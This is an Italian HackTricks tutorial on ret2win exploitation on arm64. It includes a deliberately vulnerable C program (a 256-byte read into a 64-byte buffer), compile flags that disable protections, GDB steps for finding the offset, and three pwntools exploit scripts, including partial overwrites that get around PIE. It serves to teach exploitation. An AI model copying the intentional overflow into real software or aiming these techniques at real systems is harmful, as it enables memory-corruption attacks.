Italian - Ht
HackTricks Training Twitter Linkedin Sponsor

Ret2win - arm64

Ret2win - arm64

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Trova un'introduzione ad arm64 in:

pageIntroduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compilare senza pie e canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Trovare l'offset

Opzione Pattern

Questo esempio è stato creato utilizzando GEF:

Avvia gdb con gef, crea un pattern e usalo:

gdb -q ./ret2win
pattern create 200
run

arm64 cercherà di tornare all'indirizzo nel registro x30 (che è stato compromesso), possiamo usare questo per trovare l'offset del modello:

pattern search $x30

L'offset è 72 (9x48).

Opzione di offset dello stack

Inizia ottenendo l'indirizzo dello stack dove è memorizzato il registro pc:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Ora impostare un breakpoint dopo il read() e continuare fino a quando il read() viene eseguito e impostare un pattern come 13371337:

b *vulnerable_function+28
c

Trova dove questo modello è memorizzato in memoria:

Poi: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Nessun PIE

Regolare

Ottieni l'indirizzo della funzione win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Sfruttare:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

In realtà questo sarà più simile a un off-by-2 nello stack del PC memorizzato. Invece di sovrascrivere tutto l'indirizzo di ritorno sovrascriveremo solo gli ultimi 2 byte con 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Puoi trovare un altro esempio di off-by-one in ARM64 in https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, che è un vero off-by-one in una vulnerabilità fittizia.

Con PIE

Compila il binario senza l'argomento -no-pie

Off-by-2

Senza un leak non conosciamo l'indirizzo esatto della funzione vincente, ma possiamo conoscere l'offset della funzione dal binario e sapendo che l'indirizzo di ritorno che stiamo sovrascrivendo punta già a un indirizzo vicino, è possibile ottenere il leak dell'offset alla funzione di vittoria (0x7d4) in questo caso e utilizzare semplicemente quell'offset:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

<details>

<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
PreviousRet2winNextStack Shellcode

Last updated